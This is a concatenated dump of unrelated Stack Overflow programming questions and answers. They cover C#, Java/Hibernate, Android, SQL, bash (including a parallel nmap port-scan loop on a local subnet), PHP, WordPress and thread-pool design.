6533588	0	 <p>Try to change your classes like this:</p> <pre><code>class root { public root() { } public studentinfo studentinfo { get; set; } } class studentinfo { public studentinfo() { subject = new List&lt;subject&gt;(); } public string name { get; set; } public int age { get; set; } public string gender { get; set; } public address address; public List&lt;subject&gt; subject; } class address { public string street { get; set; } public string city { get; set; } public string state { get; set; } } class subject { public string name { get; set; } public int marks { get; set; } public string grade { get; set; } } </code></pre> <p>and there's an error with your JSON</p> <pre><code>'gender':male, </code></pre> <p>should be</p> <pre><code> 'gender': 'male', </code></pre>
8144338	0	 <p>Windows batch files don't execute themselves IIRC. You should run them through one of the two interpreters:</p> <pre><code>print shell_exec("cmd m.bat"); </code></pre> <p>(Otherwise that's the same as using the backtick operator.)</p>
666821	0	 <p>No major issues. Spring was particularly of benefit for:</p> <ul> <li>Making all the configuration plumbing consistent and straightforward</li> <li>Dependency Injection to support better factoring of code</li> <li>Declarative "Open Session In View" functionality for Hibernate</li> <li>Declarative Transaction Demarcation</li> <li>The Acegi (now Spring Security) project made it easy to integrate a custom security model</li> <li>The Spring data access support removes the need for a lot of boilerplate from any JDBC access - maybe not such a boost for Hibernate usage, but we had a mix of both. It also allows you to use JDBC &amp; Hibernate together fairly seamlessly</li> </ul>
34309908	0	What is the reqular expression for RFC4716 SSH2 public key <p>I need to restore the RFC4716 SSH2 public key structure after having replaced all new line characters with spaces (the key contents is passed as a parameter to the program and retrieved as $@ in bash). I would like to use regular expression and sed program to do it. Has anyone come across a solution?</p> <p>Example:</p> <ul> <li><p>input string passed to the program (one string all new lines replaced by spaces):</p> <p><code>---- BEGIN SSH2 PUBLIC KEY ---- Comment: "1024-bit RSA, converted from OpenSSH by me@example.com" x-command: /home/me/bin/lock-in-guest.sh AAAAB3NzaC1y(... some spaces are inserted instead of LF)9zcE= ---- END SSH2 PUBLIC KEY ----</code></p></li> <li><p>output string:</p> <p><code>---- BEGIN SSH2 PUBLIC KEY ---- Comment: "1024-bit RSA, converted from OpenSSH by me@example.com" x-command: /home/me/bin/lock-in-guest.sh AAAAB3NzaC1yc2EAAAABIwAAAIEA1on8gxCGJJWSRT4uOrR13mUaUk0hRf4RzxSZ1zRb YYFw8pfGesIFoEuVth4HKyF8k1y4mRUnYHP1XNMNMJl1JcEArC2asV8sHf6zSPVffozZ 5TT4SfsUu/iKy9lUcCfXzwre4WWZSXXcPff+EHtWshahu3WzBdnGxm5Xoi89zcE= ---- END SSH2 PUBLIC KEY ----</code></p></li> </ul>
33484049	0	 <p>If you want view1 and view2 to remain fixed at the top, that’s easy enough to do by constraining view1.bottom == tableView.top.</p> <p>If you want view1 and view2 to scroll with the table view, then put them inside the table view’s header. (To make a header, drag a generic UIView to the space just above the prototype cells in the storyboard editor.) I don’t recommend using constraints to try to make something outside the table view scroll with it, even though that’s (sometimes) possible.</p> <p>Control-drag from view1 to view2 and create an “equal widths” constraint to divide the space equally.</p>
24990876	0	 <p>Can't you send the commands to the background with &amp; in order to process the others simultaneously? Something like below;</p> <pre><code>#!/bin/bash ports="20 21 22 25 80 443" for p in $ports do nmap -Pn -p$p 10.0.1.0/24 &amp; done </code></pre>
23491777	0	Android-Boot Completed is not working in Broadcastreceiver <p>I'm using android(version 4.1.1) MeLE box(SmartTv) for developing one application, i need to start up my application when device Boot Time is completed but my device not catch up the BOOT_COMPLETED Action. If i'm use that same application in mobiles or emulator the Boot_Completion action were caught by Broadcast_receiver.</p> <p>if anyone known about this issue help me thanks in advance....</p> <p>here is my code...</p> <p>manifest:</p> <pre><code>&lt;uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /&gt; </code></pre> <p> <blockquote> <p></p> </blockquote> <pre><code>&lt;receiver android:name=".BootCompletedReceiver" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.BOOT_COMPLETED" /&gt; &lt;action android:name="android.intent.action.QUICKBOOT_POWERON" /&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; &lt;service android:name="NotifyingDailyService" &gt; &lt;/service&gt; </code></pre> <p>BootCompletedReceiver class:</p> <pre><code>public class BootCompletedReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent arg1) { // TODO Auto-generated method stub Log.w("boot_broadcast_poc", "starting service..."); context.startService(new Intent(context, NotifyingDailyService.class)); } } </code></pre> <p>Service class:</p> <pre><code>public class NotifyingDailyService extends Service { @Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null; } @Override public int onStartCommand(Intent pIntent, int flags, int startId) { // TODO Auto-generated method stub Toast.makeText(this, "NotifyingDailyService", Toast.LENGTH_LONG).show(); Log.i("com.example.bootbroadcastpoc","NotifyingDailyService"); return super.onStartCommand(intent, flags, startId); } } </code></pre>
28774045	0	Different background color in Emacs after 80 columns? <p>In Emacs, how to set a different background color after 80 columns?</p> <p>So that if the window is wider than 80 columns, all the columns after 80 would have a different background color.</p>
7477232	0	 <p><a href="http://bplusdotnet.sourceforge.net/" rel="nofollow">http://bplusdotnet.sourceforge.net/</a> but this one is known to be somewhat buggy on deletes.</p> <p>Another one that appears to work well:</p> <p><a href="http://www.codeproject.com/KB/database/RaptorDB.aspx" rel="nofollow">http://www.codeproject.com/KB/database/RaptorDB.aspx</a></p> <p>RaptorDB allows you to store key/values either indexed using a b+ tree or a hash index. You can pick when you create the files.</p>
1892638	0	 <p>What is the context?</p> <p>Your situation might be calling for generics, with which you could pass in <code>Collection&lt;Integer&gt;</code> or <code>Collection&lt;SomeOtherType&gt;</code> as you please.</p>
4646047	0	Why AppleScript display dialog behaves so differently between Editor and Automator? <p>For instance, why this script works on <strong>AppleScript Editor</strong> but not <strong>Automator</strong>?</p> <p><code>display dialog "a lot of text just to break to line 4 whatever continuing... few more... argh... there!" with title "just a test" buttons {"Cancel", "Uninstall", "Continue"} default button 3 with icon caution</code></p> <p>Commenting out everything after the <em>title</em> just on Automator, this is the difference I get:</p> <p><img src="https://i.stack.imgur.com/trFrT.png" alt="alt text"></p> <p>I <em>want</em> the <strong>title</strong> and more than <strong>3 lines</strong> if possible, but those are not the only weird inconsistent behaviors I've seem in the past hour about applescript between <strong>editor</strong> and <strong>automator</strong>. The icon is another one.</p> <p>In the instance, the error I get for trying it in Automator is this:</p> <p><img src="https://i.stack.imgur.com/KWV7d.png" alt="Syntax Error"></p> <p>Recording, questions here are:</p> <ol> <li>Why? Why oh Apple, why?</li> <li>Any way to at least make the <strong><em>title</em></strong> work?</li> </ol>
30161904	0	 <p>I am dealing with exactly the same problem, but my setting is allready on 'Windows' but I can not get it to work properly.</p> <p>Changing the settings here (ASP.Net Configuration for Website), result in invalid connectionstrings, because it is not writing the web.config well. Can you tell me if your web.config changed after changing this setting ("None" to "Windows")? Do you know if your provider has had these problems before?</p>
12293523	1	Python idle syntax highlighting <p>I'm using idle on windows 7 as I've just come from a mac and the text editor I was using highlighted different keywords then what idle does. I know that I can change the colour of the current syntax like print and def but can I add other keywords to highlight as well? Thanks</p>
39801471	0	 <p>I'm not sure how accurate will be.</p> <pre><code> @Override public boolean onTouchEvent(MotionEvent event) { Display display = getWindowManager().getDefaultDisplay(); DisplayMetrics mertrics = new DisplayMetrics (); display.getMetrics(metrics); float density = getResources().getDisplayMetrics().density; float dpHeight = metrics.heightPixels / density; float y = (float)event.getY(); switch (event.getAction()) { case MotionEvent.ACTION_MOVE: if(y &lt; dpHeight / 2 + 50 &amp;&amp; y &gt; dpHeight / 2 - 50){ //no hello() here } else { // call hello() here and remove it from layout } } return false; } </code></pre>
3908844	0	 <p>You're reassigning val <code>b</code> in the expression <code>b+=p.name-&gt;p.emailAddresses</code>.</p>
29822930	0	 <p>Maven couldn't find goal <strong>create-DgroupId=com.tutorialspoint.test</strong></p> <p>Try to put space after <strong>create</strong></p> <pre><code>mvn archetype:create -DgroupId=com.tutorialspoint.test -DartifactId=helloworld -DarchetypeArtifactId=maven-archetype-webapp </code></pre>
39056981	0	 <p>You <em>can</em> do what you want with the help of namespaces. However look into hash tables first.</p> <pre><code>#lang racket (define-namespace-anchor here) (define ns (namespace-anchor-&gt;namespace here)) (define foo 42) (parameterize ([current-namespace ns]) (namespace-variable-value (string-&gt;symbol "foo"))) </code></pre> <p>The output of this program is 42.</p>
21708379	0	 <p>I found few issues on a first look, you should change the :</p> <pre><code>$dom.bind('mousedown.auto_dropdown_box_ul' </code></pre> <p>to:</p> <pre><code>$dom.unbind('mousedown.auto_dropdown_box_ul').bind('mousedown.auto_dropdown_box_ul' </code></pre> <p>To prevent multiple events binding to the dom node, you can also use .one event handling of jQuery. In the same event handling you should also put:</p> <pre><code>console.log('bind mousedown'); e.preventDefault(); return false; </code></pre> <p>To be sure event is not firing.</p> <p>Hope this helps (I'm not having IE8 for a long time now)</p>
31643262	0	How can I build and test libffi under cygwin with mingw32? <p>After checking (most recent) tag v3.2.1:</p> <pre><code>% sh autogen.sh % ./configure CC=i686-pc-mingw32-gcc % make check </code></pre> <p>All tests appear to fail.</p> <p>Using CC=gcc, tests seem to work properly. Unfortunately I need the resulting build to have no cygwin dependencies, since I'm building a JNI DLL.</p>
9580713	0	Implementing a simple thread pool <p>I'm currently in the need of a simple and efficient thread pool implementation. I have searched here and also on Google and found numerous interesting links, but nothing i've found so far seems to be suitable. Most of the implementations i have found on the web are either too complicated or lack some of the key features i need.</p> <p>Also i don't want to use code that i do not understand, so i decided to code it myself (sometimes reinventing the wheel helps me push myself forward in terms of knowledge and experience). I of course understand the basic idea behind thread pool, but some implementation details are still somewhat unclear to me. This is probably because the kind of thread pool i need is a bit special. Let me describe it. I have a task that is done hundreds of thousands of times on a particular (large) buffer. I have measured that the performance is much better if I use threads for this task - the buffer is split into sub-buffers and each thread performs its task on the sub-buffer and returns the result. All the results from all threads are then added together, giving me the final solution.</p> <p>However since this is done very often i'm losing precious time because of so many threads being created (because of the overhead that comes with thread creation). So i would like to have a pool of threads that would perform this task, instead of creating a new set of threads every time.</p> <p>To be more clear, this is what i have so far:</p> <ul> <li>Split the buffer into N sub-buffers of the same size</li> <li>For each sub-buffer, create a thread and run it on the sub-buffer</li> <li>Wait for all threads to complete (WaitForMultipleObjects), add together the results and destory the threads</li> <li>Repeat</li> </ul> <p>What i would like to achieve is this:</p> <ul> <li>Split the buffer into N sub-buffers of the same size</li> <li>Assign each sub-buffer to a thread from the threadpool (which has exactly N threads)</li> <li>Once a thread finishes, let it sleep until another task is ready</li> <li>When all threads are done (and sleeping) add together the results they produced</li> <li>Repeat by waking up the threads and assign them new tasks</li> </ul> <p>As you can see, this is a bit of a special thread pool, since i need to wait for the threads to finish. Basically i want to get rid of the overhead of creating threads all the time, since the program goes through hundreds of thousands of iterations so it can create&amp;destroy milions of threads over its lifetime. Good news is that i do not need any synchronization at all between threads, they all get their own data and storage place fot the results. However i must wait until all threads are finished and i have the final solution, because the next task depends on the results of the previous task.</p> <p>My main problem is with the management of threads:</p> <ul> <li>how do i make my threads "sleep" and wake them up once new task is ready?</li> <li>how do i wait for all the threads to finish?</li> </ul> <p>I will be grateful for any help. Also feel free to ask questions if i was not clear enough. Thanks!</p>
14721966	0	 <p>Easy.</p> <pre><code>SELECT name, COUNT(name) KeyCount FROM table GROUP BY name; </code></pre>
13368832	0	 <p>I think you are looking for something like this:</p> <pre><code>select TableA.idTableA, TableB.idTableB, case when EXISTS(select null from TableA TableA_1 where TableA_1.idTableA = TableA.idTableA and TableA_1.idTableB_FK = TableB.idTableB) then 'yes' else 'no' end as is_set from TableB left join TableA on TableB.idTableA_FK = TableA.idTableA </code></pre>
24190761	0	 <p>It's pretty obvious here:</p> <pre><code>FileInfo[] fileinfo=null; // &lt;-- fileinfo is null for (int i = 0; i &lt; num; i++) { fileinfo[i] = new FileInfo(files[i]);//Exception at this line of code // ^--- fileinfo is still null! } </code></pre> <p>you are trying to use the indexer on a null reference to set a value. I think you want:</p> <pre><code>FileInfo[] fileinfo= new FileInfo[num]; for (int i = 0; i &lt; num; i++) { fileinfo[i] = new FileInfo(files[i]);//Exception at this line of code } </code></pre> <p>or just</p> <pre><code>FileInfo[] fileinfo = files.Select(f =&gt; new FileInfo(f)).ToArray(); </code></pre> <p><strong>EDIT</strong></p> <p>After reading your comments, it seems that you think that <code>FileInfo[] fileinfo=null;</code> will initialize an array of null values (which is true in some languages, but not C#). In fact, it creates an array variable that is <em>itself</em> a null value. To initialize an array, you use the syntax <code>FileInfo[] fileinfo=new FileInfo[size];</code> which <em>will</em> create an array of null values (more precisely, of the default value for <code>FileInfo</code>, which is <code>null</code> since it's a reference type). </p>
36454767	0	 <p>Found the issue and it was very minor, I was removing everything with a class of default which was being removed every time a state changed, so now it will remove everything with class tile and prevent any duplicate containers.</p> <pre><code>socket.on("presenceusers", function (userPresence) { $('.tile').remove();\\ &lt;------ for (var i = 0; i &lt; userPresence.length; i++) { if (userPresence[i][1] === "enable") { $presence.append('&lt;div class="col-md-2 md tile default"&gt;&lt;h6&gt;&lt;img src="../images/offline.png"&gt;&lt;b&gt;' + userPresence[i][0] + '&lt;/b&gt;&lt;/h6&gt;&lt;/div&gt;'); } } }); </code></pre>
6725326	0	Rails can not find rake gem? <p>Started learning ruby on rails today, after spending the half day fixing the other errors, I am stuck at the following: When I enter the following command in the terminal: " bundle exec rake db:migrate" or "rails server" it gives me the following error: </p> <blockquote> <p>Could not find rake-0.9.2 in any of the sources Run <code>bundle install</code> to install missing gems.</p> </blockquote> <p>I ran bundle install rake (Both with version number and without) and it says it has been installed to ./rake. When I run the command it gives me the same error again. No Idea how to fix this, so any help is wholeheartedly appreciated. I am using ruby 1.9.2 and rails 3.0.9 in the directory the App is located in with RVM. Thanks in advance for any help.</p> <p>EDIT:</p> <p><strong>* LOCAL GEMS *</strong></p> <p>Using rake (0.9.2) Using abstract (1.0.0) Using activesupport (3.0.9) Using builder (2.1.2) Using i18n (0.5.0) Using activemodel (3.0.9) Using erubis (2.6.6) Using rack (1.2.3) Using rack-mount (0.6.14) Using rack-test (0.5.7) Using tzinfo (0.3.29) Using actionpack (3.0.9) Using mime-types (1.16) Using polyglot (0.3.1) Using treetop (1.4.9) Using mail (2.2.19) Using actionmailer (3.0.9) Using arel (2.0.10) Using activerecord (3.0.9) Using activeresource (3.0.9) Using bundler (1.0.15) Using rdoc (3.8) Using thor (0.14.6) Using railties (3.0.9) Using rails (3.0.9) Using sqlite3-ruby (1.2.5) </p> <p><strong>EDIT2: This has been fixed: Try using rvm and go back to ruby 1.8.7 instead of 1.9.2. This fixed it for me. Don't forget to install rails again (sudo gem install rails while already on 1.8.7) if you have only installed rails for 1.9.2.]</strong></p>
33214845	0	 <p>If query_image and list_image are came from the same form, you can do this:</p> <p>Try to </p> <pre><code>def query_image(request): #it woul be better to rename it to all_image if form.is_valid(): query_image = form.cleaned_data['query_image'] list_image = form.cleaned_data['list_image'] my_context = {'query_image': form.cleaned_data['query_image'], 'list_image': form.cleaned_data[] #... any other data} return render(request, "all_image.html", my_context) </code></pre> <p>And you have to make sure that all_image.html renders list_image somehow (using django templates <code>for</code>, for example)</p>
41071836	0	How to create a box with line and add icon on side <p>I want to have a box with line on side as input and output. A line has add icon which should be clickable. How can i design such one so that add icon will be clickable? Should i use svg image for line and icon? what is the best way? I tried using css as i want it to be <code>responsive</code> but i had to use :before and :after and i can't make it clickable. </p> <p><a href="https://i.stack.imgur.com/8JCpR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8JCpR.png" alt="enter image description here"></a></p>
13375624	0	 <p>I know it is too late, but I found this topic because I had the same problem.</p> <p>And my solution may help other people.</p> <p>The solution above didnt work well because it killed every running instance of Word, though it wasn't opened by the c# program but the user.</p> <p>So this was not that userfriendly.</p> <p>My code checks the processes before/after the creation of the <code>Word.Application</code> Object in c# and writes the IDs of the <code>WINWORD</code> Processes in <code>List&lt;int&gt;</code> then it compares the values in both <code>List&lt;int&gt;</code>. When a <code>processID</code> is not found in both <code>List&lt;int&gt;</code> it kills the process with this ID.</p> <pre><code>public List&lt;int&gt; getRunningProcesses() { List&lt;int&gt; ProcessIDs = new List&lt;int&gt;(); //here we're going to get a list of all running processes on //the computer foreach (Process clsProcess in Process.GetProcesses()) { if (Process.GetCurrentProcess().Id == clsProcess.Id) continue; if (clsProcess.ProcessName.Contains("WINWORD")) { ProcessIDs.Add(clsProcess.Id); } } return ProcessIDs; } </code></pre> <p>Run this twice (one time before the creation of the Word.Application and once after).</p> <pre><code> List&lt;int&gt; processesbeforegen = getRunningProcesses(); // APP CREATION/ DOCUMENT CREATION HERE... List&lt;int&gt; processesaftergen = getRunningProcesses(); </code></pre> <p>Then run <code>killProcesses(processesbeforegen, processesaftergen);</code></p> <pre><code> private void killProcesses(List&lt;int&gt; processesbeforegen, List&lt;int&gt; processesaftergen) { foreach (int pidafter in processesaftergen) { bool processfound = false; foreach (int pidbefore in processesbeforegen) { if (pidafter == pidbefore) { processfound = true; } } if (processfound == false) { Process clsProcess = Process.GetProcessById(pidafter); clsProcess.Kill(); } } } </code></pre>
32696337	0	 <p>Your call for:</p> <p><a href="http://localhost:4200/api/users" rel="nofollow">http://localhost:4200/api/users</a></p> <p>can't return <code>exactly the same JSON response</code>.</p> <p>Your call for: <code>http://localhost:4200/api/users/1</code> should return:</p> <pre><code>{ "data": { "id":"1", "type": "user", "attributes" : { "firstname":"John", "lastname":"Doe", "email":"johndoe@example.com", "mobile":"12345678", "nextAppointment":1 } } } </code></pre> <p>Read more about JSONAPIAdapter:</p> <ul> <li><a href="http://emberjs.com/blog/2015/06/18/ember-data-1-13-released.html#toc_json-api-adapter-and-serializer" rel="nofollow">JSON API ADAPTER AND SERIALIZER in Ember Data v1.13 blog post</a></li> <li><a href="http://jsonapi.org/" rel="nofollow">jsonapi.org</a></li> </ul>
776837	0	 <p>Have you found a resolution to this yet? I having the same issue, my code is pretty much a mirror of yours. Main difference is my pdf is hosted in an IFrame. </p> <p>So interesting clues I have found: If I stream back a Word.doc it only gets loaded once, if pdf it gets loaded twice. Also, I have seen different behavior from different client desktops. I am thinking that Adobe version may have something to do with it. </p> <p><strong>Update:</strong></p> <p>In my case I was setting the HttpCacheability to NoCache. In verifying this, any of the non client cache options would cause the double download of the pdf. Only not setting it at all (defaults to Private) or explicitly setting it to Private or Public would fix the issue, all other settings duplicated the double load of the document.</p>
37458400	0	How to merge two separate column data into one column in sqlite android <p>I store hour and minute in two separate column. i want to combine it like as hour:minute(9:15) and store timeunit(AM-PM) in separate column.how to do this can any one knows.hour and minute of String type. </p>
25867195	0	Pass the arguments received in C down to bash script <p>I have the following piece of C code that is being called with arguments:</p> <pre><code>int main(int argc, char *argv[]) { system( "/home/user/script.sh" ); return 0; } </code></pre> <p>how do i pass all arguments received down to script.sh?</p>
37506789	0	Normalization to 3NF from un-normalized relation <p>Given</p> <pre><code>INSURANCE PORTFOLIO (portfolio id, insurance company name, insurance company phone, ((agent name, agent license number, state of residence, ((policy number, policy description, annual premium, benefit, beneficiary details)), number of policies)), number of policies in a portfolio) </code></pre> <p>I'm trying to get this into 3NF. Am I on the right track?</p> <p>1NF:</p> <pre><code>1NF: INSURANCE PORTFOLIO:(portfolio id, insurance company name, insurance company phone, ,agentname, number of policies in a portfolio) agentdetails: (agent name, agent license number, state of residence, policy number,number of policies in a portfolio#) policydetails:(agent name#,policy number#, policy description, annual premium, benefit, beneficiary details) </code></pre> <p>2NF</p> <pre><code>2NF: INSURANCE PORTFOLIO:( agent name ,portfolio id, insurance company name, number of policies in a portfolio) Agentdetails: (agent name, agent license number, state of residence, policynumber,number of policies in a portfolio#) policydetails:(agentname,policy number, policy description, annual premium, benefit, beneficiary details) </code></pre> <p>3NF:</p> <pre><code> INSURANCE PORTFOLIO:( agent name ,portfolio id, phonenumber , number of policies in a portfolio) agentdetails:(agent name#, agent license number, state of residence,policynumber,number of policies in a portfolio#) policydetails:(agent name#,policy number#, policy description, annual premium, benefit, beneficiary details) </code></pre> <p>Any guidance is appreciated</p>
3331069	0	List Item Background Image - Neighbor Floated Content Overlaps <p>I've used list item background images for customized bullets hundreds of times in the past, and somehow never came across this issue.</p> <p>Essentially, I have an IMG floated left of the Unordered List. The bullet background images are set to top-left of each LI. However, the floated image is covering the bullets, as the browser is treating the list as if it's still full width (as if the floated image almost isn't there).</p> <p>It's a bit hard to explain. So here is a screenshot with notes. <a href="http://img695.imageshack.us/img695/1328/cssquestion.jpg" rel="nofollow noreferrer"><a href="http://img695.imageshack.us/img695/1328/cssquestion.jpg" rel="nofollow noreferrer">http://img695.imageshack.us/img695/1328/cssquestion.jpg</a></a></p> <p>Here are some code snippets (sorry, can't upload to a server at the moment):</p> <pre><code>&lt;h2&gt;About Us&lt;/h2&gt; &lt;img src="image.jpg" class="img-left" /&gt; &lt;h3&gt;Heading&lt;/h3&gt; &lt;p&gt;Text&lt;/p&gt; &lt;ul&gt; &lt;li&gt;List Item One&lt;/li&gt; &lt;li&gt;List Item Two&lt;/li&gt; &lt;li&gt;List Item Three&lt;/li&gt; &lt;/ul&gt; ul { padding: 0; margin: 0; } ul li { background: url(../images/bg-main-bullet.gif) top left no-repeat; list-style: none; padding: 0; margin: 0; } .img-left {float: left; margin: 0 19px 0 0;} </code></pre> <p>Does anyone have any ideas how to achieve my desired result?</p> <p>Any tips or input is greatly appreciated! Thanks</p>
21936989	0	Moved multisite from domain.com to localhost - Can't get it to work <p>I've copied the entire wordpress folder from a server to my local machine. I have also exported and imported our MySQL database which I can access just fine. </p> <p><strong>What settings do I need to modify in order to make the wordpress sites run on my computer?</strong> </p> <p>So far I have done this:</p> <ol> <li>Changed <code>define('DOMAIN_CURRENT_SITE', 'domain.com')</code> to <code>define('DOMAIN_CURRENT_SITE', 'localhost.com')</code> in <strong>wp-config.php</strong></li> <li>I've added <code>127.0.0.1 localhost.com</code> to my <strong>hosts file</strong></li> <li>I've changed the row <code>siteurl</code> to <code>localhost.com</code> in the database table <strong>wp_options</strong></li> </ol> <p>But I'm not sure what else to change to make it work. Whenever I try to access localhost.com I get redirected to the url listed in wp_config.php <code>define('NOBLOGREDIRECT', 'http://www.domain.com')</code>.</p> <p>I'm using MAMP and accessing MAMP works fine. It's accessing the WP sites that trouble me. I don't know how/where to set the urls to make it work. </p>
24311281	0	 <p>I'm coming late in the game but I tried all of the solutions above! couldn't get it to drop the zero's in the parameter and give me a default (it ignored the formatting or appeared blank). I was using SSRS 2005 so was struggling with its clunky / buggy issues.</p> <p>My workaround was to add a column to the custom [DimDate] table in my database that I was pulling dates from. I added a column that was a string representation in the desired format of the [date] column. I then created 2 new Datasets in SSRS that pulled in the following queries for 2 defaults for my 'To' &amp; 'From' date defaults -</p> <p>'from'</p> <pre><code> SELECT Datestring FROM dbo.dimDate WHERE [date] = ( SELECT MAX(date) FROM dbo.dimdate WHERE date &lt; DATEADD(month, -3, GETDATE() ) </code></pre> <p>'to'</p> <pre><code> SELECT Datestring FROM dbo.dimDate WHERE [date] = ( SELECT MAX(date) FROM dbo.dimdate WHERE date &lt;= GETDATE() ) </code></pre>
13972021	0	 <p>In JSON (by standard) you have <a href="http://www.json.org/" rel="nofollow">Arrays, Objects, values and strings</a>, arrays are not Objects like in JavaScript. JSON is only a data-interchange format, you don't have a base prototype like in JavaScript where almost everything is an object and have properties.</p> <p>So, if you want to have a property <code>z3</code> of <code>z2</code> you have to make <code>z2</code> an object.</p>
31793268	0	Hibernate Child table saves null foreign key instead of auto increment parent's primary key <p>I'm trying to save to two parent and child table at the same time. It does save the both parent and child rows but the issue is child table doesn't contain the primary key(Auto Increment) of parent table in foreign key column in child table. Instead of that foreign key column in child table shows null</p> <p>here are the Models 01.Feed Order class (Parent Class)</p> <pre><code>@Entity public class FeedOrder { @Id @GeneratedValue(strategy=GenerationType.AUTO) private Long id; private String date; private double total; private double discount; @OneToMany(mappedBy="feedOrder",cascade = CascadeType.PERSIST) private List&lt;FeedOrderDetail&gt; feedOrderDetail; @ManyToOne private Supplier supplier; //With Getters and Setters } </code></pre> <p>02.Feed Order Details class (Child Class)</p> <pre><code>@Entity public class FeedOrderDetail { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; private double unitPrice; private long quantity; @ManyToOne @JoinColumn(name="feed_id") private Feed feed; @ManyToOne @JoinColumn(name="order_id") private FeedOrder feedOrder; //With Getters and Setters } </code></pre> <p>I use Spring MVC as well.</p> <p>Here is the Repository class Code.</p> <pre><code>@Repository("feedOrderRepository") public class FeedOrderRepositoryImp implements FeedOrderRepository { @PersistenceContext private EntityManager em; public FeedOrder save(FeedOrder feedOrder) { em.persist(feedOrder); em.flush(); return null; } } </code></pre> <h2>Update</h2> <p>AddFeedOrder.jsp</p> <pre><code>&lt;html&gt; &lt;body&gt; &lt;form:form commandName="feedOrder"&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;Date&lt;/td&gt; &lt;td&gt;&lt;form:input path="date" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Discount&lt;/td&gt; &lt;td&gt;&lt;form:input path="discount" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Total&lt;/td&gt; &lt;td&gt;&lt;form:input path="total" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Supplier&lt;/td&gt; &lt;td&gt;&lt;form:input path="supplier.id" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table id="mytable"&gt; &lt;tr&gt; &lt;td&gt;Feed ID&lt;/td&gt; &lt;td&gt;Unit Price&lt;/td&gt; &lt;td&gt;Quantity&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;form:input path="feedOrderDetail[0].feed.id" /&gt;&lt;/td&gt; &lt;td&gt;&lt;form:input path="feedOrderDetail[0].unitPrice" /&gt;&lt;/td&gt; &lt;td&gt;&lt;form:input path="feedOrderDetail[0].quantity" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;INPUT type="button" value="Add More" onclick="addRow('mytable')" /&gt; &lt;tr&gt; &lt;td&gt;&lt;input type="submit" value="Save Feed Order"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/form:form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
25613512	0	 <p>This is not a good idea, to serve static files with Django HttpResponse.<br> Why don't you set up Nginx proxy? Check this: <a href="https://coderwall.com/p/rlguog" rel="nofollow">https://coderwall.com/p/rlguog</a></p>
2419077	0	 <p>Using OSGi bundles you can do that. Take a look at <a href="http://blog.springsource.com/2008/02/18/creating-osgi-bundles/" rel="nofollow noreferrer">http://blog.springsource.com/2008/02/18/creating-osgi-bundles/</a>. Search for "multiple versions".</p>
5934152	0	 <p>The most comprehensive library i know of (and the only one i've actually used) is <a href="http://pear.php.net/package/Console_CommandLine" rel="nofollow">Console_CommandLine</a>. I have not used argparse so I can't tell you if it is as featured or compare them.</p>
12424468	0	triggering the printscreen keyboard function and sending the converted image to server in jQuery <p>How can i trigger the PrtScn i.e, PrintScreen keyboard event through some jQuery function and then save that captured image to server ?</p> <pre><code>function ErrorLog(errorCode, errorMessage) { // Here i want the screenshot of the user's screen where the error have occurred ... var _screenShot = ""; SendErrorToServer(errorCode, errorMessage, _screenShot); } </code></pre> <p>Can you pleases help me by providing the code.</p>
12770987	0	High traffic - Multiple requests to set same memcached key? <p>I'm setting up memcached. I have a couple questions regarding high traffic and best practice for updating/setting keys. I'm creating a online game where users are assigned points in a increment of 10,50,100. </p> <p>Use : Store user "game stats" in keys and running a cron job every 5 minutes or so to update the stats permanently in the datastore. This way the "game" can function without ever going to the db to crud values, points. </p> <p>Will use warm up scripts to pull and populate keys for user stats</p> <p>Questions :<br> 1)Would there be a issue down the road with high traffic and trying to write to that users points key? </p> <p>2)Best practice for incrementing values in memcache?</p> <p>This is a rough idea of what I'm using now </p> <pre><code>$newval = $memcache-&gt;get( $key ); $memcache-&gt;set($key, $newval+10, false, 1000) or die ("Failed to save data at the server"); </code></pre> <p>3)Recommendations for storing users game stats in memcache? Any input would be greatly appreciated. </p> <p>Thank you all!</p>
8520835	0	 <p>In general an object can be removed in two ways from an <a href="http://docs.oracle.com/javase/6/docs/api/java/util/ArrayList.html" rel="nofollow"><code>ArrayList</code></a> (or generally any <a href="http://docs.oracle.com/javase/6/docs/api/java/util/List.html" rel="nofollow"><code>List</code></a>), by index (<a href="http://docs.oracle.com/javase/6/docs/api/java/util/List.html#remove%28int%29" rel="nofollow"><code>remove(int)</code></a>) and by object (<a href="http://docs.oracle.com/javase/6/docs/api/java/util/List.html#remove%28java.lang.Object%29" rel="nofollow"><code>remove(Object)</code></a>).</p> <p>In this particular scenario: Add an <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html#equals%28java.lang.Object%29" rel="nofollow"><code>equals(Object)</code></a> method to your <code>ArrayTest</code> class. That will allow <a href="http://docs.oracle.com/javase/6/docs/api/java/util/ArrayList.html#remove%28java.lang.Object%29" rel="nofollow"><code>ArrayList.remove(Object)</code></a> to identify the correct object.</p>
15232729	0	 <p>Change</p> <pre><code>query_posts("cat=$cat_id&amp;post_per_page=9999"); </code></pre> <p>To</p> <pre><code>query_posts("cat=" . $categories_item-&gt;term_id . "&amp;post_per_page=9999"); </code></pre>
